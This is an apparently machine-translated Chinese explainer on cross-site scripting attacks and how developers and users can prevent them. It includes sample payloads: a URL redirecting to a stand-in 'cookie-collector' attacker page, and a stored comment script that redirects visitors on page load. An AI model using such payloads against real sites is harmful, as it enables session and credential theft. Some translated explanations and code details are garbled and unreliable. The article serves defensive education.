黑客如何使用跨站点脚本破坏网站并窃取数据

跨站点脚本或XSS可能是快速有效的攻击。作为开发人员,您甚至可以将其视为代码中的错误,并最终搜索不存在的错误。

作为使用易受攻击网站的客户端,您也可以无辜地向攻击者透露有关身份验证访问的重要信息。

那么什么是跨站点脚本?黑客如何利用它闯入网站并窃取您的数据?以及如何减轻这种风险?

什么是跨站点脚本?

如果来自恶意网站的脚本与易受攻击的网站上的代码交互,则会发生跨站点脚本或XSS。

但是服务器的连接方式可以防止未经身份验证的人员访问和编辑网站的源代码。

互联网使用同一起源策略(SOP)来阻止跨站点交互。但是,SOP检查了三个主要的安全漏洞并试图缓解它们。他们是:

  • Internet协议策略,用于检查两个网站是否都通过安全SSL(HTTPS)或不安全URL(HTTP)传递内容。
  • 相同的网络托管策略,可确保您将两个网站托管在同一域中。
  • 用于检查两个网站是否使用相似的通信端点的端口策略。

SOP认为,如果任何两个网站的这些政策中的任何一项都不相同,则它们将无法通过网络读取或交换数据。

但是JavaScript是一种操纵语言,它决定了网站的响应能力。虽然您网站的JavaScript最有可能位于单独的文件中,但是您也可以创建一个脚本标记并将其写入文档对象模型(DOM)。

因此,XSS攻击者可能会想:“如果您可以在DOM中编写JavaScript,那么最终您可以在任何接受HTML标记的代码编辑器或输入字段中执行它。”

使用XSS的攻击者会在目标网站上寻找这种漏洞和机会。一旦发现漏洞,就可以绕过SOP。

相关:终极JavaScript作弊表

因此,XSS是劫机者用来将执行恶意操作的脚本注入易受攻击的网站的攻击。该脚本可以定位不受保护的表单或接受数据的输入字段。

跨站点脚本的工作方式和类型,并带有示例

XSS可以快速执行反射的或临时的脚本,攻击者会将其放入搜索字段等形式。它也可以是injected入数据库或持久注入。或者它可能在页面加载后被动出现。

在某些情况下,此脚本还可以更改受害者的原始输入以转移他们的意图。像这样的用户输入中的持续更改是变异XSS。

无论采用哪种形式,XSS攻击的目的都是通过暴露的Cookie和日志来窃取受害者的数据。

让我们看一下对每种XSS攻击类型及其示例的简要说明,以了解它们的含义。

什么是反射XSS?

反映的XSS或临时XSS是将JavaScript直接注入用户的输入字段中。它针对从数据库获取数据的请求,例如搜索结果。但这是一个以客户端为目标的攻击。

在反射的XSS期间,攻击者将脚本插入目标受害者的搜索词中。这样的JavaScript可能是回显,重定向或cookie收集器。

然后,一旦目标客户端提交查询,注入到搜索输入字段中的脚本便会执行。

例如,在用户搜索期间,攻击者可能会插入一个回显表单的JavaScript,要求受害者输入其密码或用户名。一旦用户执行了此操作,他们可能最终会在不知不觉中将其凭据提交给攻击者,认为这是来自原始站点的请求。

有时,攻击者还可以使用脚本将用户从易受攻击的页面重定向到他们的页面。然后,在攻击者页面上,可以欺骗一个毫无戒心的用户提交一些表格,从而导致凭据泄漏。

同样,如果目的是窃取用户的会话,则攻击者会将cookie收集脚本注入用户的搜索词中。然后,他们劫持用户的当前会话,窃取相关信息,并接管受害者的活动。

下面的示例XSS攻击通过GET请求窃取用户的Cookie:

 http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

在上面的示例XSS中,攻击者在易受攻击的网站上发现了漏洞。因此,当用户在易受攻击的站点上搜索不可用的资源时,会将其重定向到攻击者的页面。然后,攻击者点击当前用户的cookie并获取他们的会话。

但是,此漏洞很常见,即不对网站的查询操作进行过滤以检查通过HTML进行的脚本注入的情况。

但是,即使存在经过筛选的查询,攻击者也可以通过采取绝望的措施(例如将链接发送给网站的实时用户)来绕过此查询。他们可以使用任何可用的社会工程形式来做到这一点。

相关:遭受网络钓鱼攻击后的处理方法

一旦受害者单击此类链接,劫机者即可成功执行XSS攻击并从受害者那里窃取相关数据。

持久性或存储的跨站点脚本

存储的XSS构成更多威胁。在这种情况下,攻击者会将脚本存储在网站的数据库中,从而触发存储脚本的持久执行。存储的代码可以在页面加载时或页面加载后运行。

与临时形式的XSS不同,存储的XSS面向易受攻击的网站的整个用户群。除此之外,它还以受影响网站的完整性为目标。

在持久XSS期间,攻击者使用输入字段(例如评论表单)将脚本发布到网站的数据库中。

但是,如果您使用CSRF令牌保护POST字段怎么办?不幸的是,存储的跨站点脚本绕过了CSRF检查。

这是因为攻击者提交的表单与网站的其他所有用户一样。因此,这种注释表单将脚本发送到数据库,就像处理所有其他注释一样。

当网站上的输入字段未使用适当的清除程序来转义脚本和HTML标签时,可能会发生这种攻击。

想象一下一个用户使用Web注释表单发布以下脚本:

 <body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>

当攻击者将类似的代码插入网站的数据库时,它会在页面加载时不断将受害者重定向到攻击者的网站。该脚本还可以是警报,交互式模式框或嵌入式恶意广告。

由于脚本是在页面加载时重定向的,因此不熟悉易受攻击的网站的受害者可能无法注意到重定向。

然后,他们继续与攻击者的网站进行交互。但是,一旦受害者进入网页,劫机者便可以使用多种方法从受害者那里获取信息。

什么是DOM或被动XSS?

基于DOM的XSS执行嵌入到网站中的恶意代码,从而迫使客户端上的整个DOM行为异常。

在存储和反映XSS的目标是网站上的服务器端请求时,DOM XSS的目标是运行时活动。它通过将脚本插入执行特定任务的网站组件来工作。该组件不会执行服务器端操作。

但是,插入到此类组件中的脚本会完全改变其意图。如果此组件执行与DOM相关的任务,例如那些更改网站元素的任务,则脚本可能会强制更改整个网页。

在更坏的情况下,基于DOM的XSS可以模仿错误。那是因为网页变得异常活跃。

如何防止跨站点脚本攻击

XSS漏洞来自不当使用最佳后端实践。因此,防止跨站点脚本攻击通常是开发人员的责任。但是用户也可以扮演角色。

对于输入字段使用CSFR令牌似乎并不是XSS攻击的解决方案。并且由于此攻击还绕过了“相同来源策略”,因此开发人员需要注意不要忽略阻止XSS的安全性做法。

以下预防措施对开发人员很有帮助。

清理输入字段

为了防止同时存储XSS和临时XSS,您应该对输入字段使用有效的清理程序。例如,对搜索查询进行清理可以防止将标签注入用户的搜索字词中。

使用Unicode和HTML自动转义

使用HTML和Unicode自动转义有助于防止注释和转换表单之类的输入字段接受脚本和HTML标记,这很有帮助。自动转义是针对已存储或持久XSS的有效预防措施。

过滤掉特定标签

对于任何网站,允许用户将标签插入评论表单都是一个坏主意。这是一个安全漏洞。但是,如果必须允许这样做,则只应接受不会构成XSS威胁的标签。

使用适当的输入验证

即使您完全阻止了标签,攻击者仍然可以通过社交手段进行XSS攻击。他们可以发送电子邮件,而不是直接在易受攻击的网站上放置任何内容。

因此,另一种防止这种情况的方法是有效地验证输入。这些措施包括验证协议,并确保您的网站仅接受来自安全HTTPS的输入,而不接受HTTP。

使用专用的JavaScript库(如dompurify)还可以帮助阻止与XSS相关的安全漏洞。

您可以使用XSS ScannerGEEKFLARE之类的工具来检查网站上的XSS漏洞。

用户如何预防XSS

今天,互联网上有数百万个网站。因此,您几乎无法分辨出哪个存在XSS安全问题。

但是,作为用户,您应该确保在使用任何Web服务之前都熟悉它。如果网页突然变得令人毛骨悚然或开始表现异常,则可能是一个危险信号。

无论是哪种情况,请注意不要与不受信任的第三方泄露个人数据。然后,请留意那些可能导致任何形式的网络钓鱼攻击的不请自来的电子邮件或可疑的社交媒体帖子。

没有一种单一的预防方法可以解决所有问题

我们已经看到了XSS攻击的外观以及如何防止它。在开发过程中容易忘记XSS安全检查。因此,开发人员应采取措施确保不遗漏保护措施。但是,结合我们前面列出的预防措施,效果更好。